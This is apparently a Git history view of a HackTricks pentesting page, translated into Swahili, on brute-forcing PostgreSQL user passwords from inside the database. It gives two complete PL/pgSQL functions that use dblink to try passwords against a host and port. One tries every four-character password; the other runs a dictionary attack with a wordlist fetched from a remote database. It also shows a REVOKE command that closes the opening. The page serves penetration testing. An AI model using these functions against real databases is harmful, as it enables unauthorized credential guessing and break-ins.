hacktricks/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md

130 lines
5.7 KiB
Markdown
Raw Normal View History

2024-02-11 02:13:58 +00:00
# PL/pgSQL Uvunjaji wa Nywila
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:13:58 +00:00
**Pata [mashambulizi zaidi kuhusu hili katika karatasi ya asili](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
2024-02-06 03:10:27 +00:00
2024-02-11 02:13:58 +00:00
PL/pgSQL ni **lugha kamili ya programu** ambayo inazidi uwezo wa SQL kwa kutoa **udhibiti ulioimarishwa wa taratibu**. Hii ni pamoja na matumizi ya mizunguko na muundo mbalimbali wa udhibiti. Kazi zilizoundwa kwa lugha ya PL/pgSQL zinaweza kuitwa na taarifa za SQL na vifungo, kuongeza wigo wa shughuli ndani ya mazingira ya hifadhidata.
2024-02-11 02:13:58 +00:00
Unaweza kutumia lugha hii kudukua PostgreSQL ili kujaribu kuvunja nywila za watumiaji, lakini lazima iwe ipo kwenye hifadhidata. Unaweza kuthibitisha uwepo wake kwa kutumia:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
2024-02-11 02:13:58 +00:00
lanname | lanacl
---------+---------
plpgsql |
```
2024-02-11 02:13:58 +00:00
Kwa chaguo-msingi, **kuunda kazi ni haki iliyotolewa kwa umma**, ambapo UMMA inahusu kila mtumiaji kwenye mfumo huo wa database. Ili kuzuia hili, msimamizi angehitaji kurejesha haki ya MATUMIZI kutoka kwa kikoa cha UMMA:
```sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
```
2024-02-11 02:13:58 +00:00
Katika kesi hiyo, swali letu la awali litatoa matokeo tofauti:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
2024-02-11 02:13:58 +00:00
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}
```
2024-02-11 02:13:58 +00:00
Tafadhali kumbuka kuwa ili script ifuatayo ifanye kazi **kazi ya `dblink` inahitajika**. Ikiwa haipo, unaweza kujaribu kuunda kwa kutumia&#x20;
2022-12-21 00:29:12 +00:00
```sql
2022-12-20 18:10:20 +00:00
CREATE EXTENSION dblink;
```
2024-02-11 02:13:58 +00:00
## Kuvunja Nguvu ya Nenosiri
2022-12-20 18:10:20 +00:00
2024-02-11 02:13:58 +00:00
Hapa ndipo unaweza kutekeleza kuvunja nguvu ya nenosiri lenye herufi 4:
```sql
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
2024-02-11 02:13:58 +00:00
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
2024-02-11 02:13:58 +00:00
word TEXT;
BEGIN
2024-02-11 02:13:58 +00:00
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';
//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
2024-02-11 02:13:58 +00:00
_Note kwamba hata kuvunja nguvu wahusika 4 inaweza kuchukua dakika kadhaa._
2024-02-11 02:13:58 +00:00
Unaweza pia **kupakua orodha ya maneno** na kujaribu nywila hizo tu (shambulio la kamusi):
```sql
//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
2024-02-11 02:13:58 +00:00
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
2024-02-11 02:13:58 +00:00
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'
2024-02-06 03:10:27 +00:00
-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>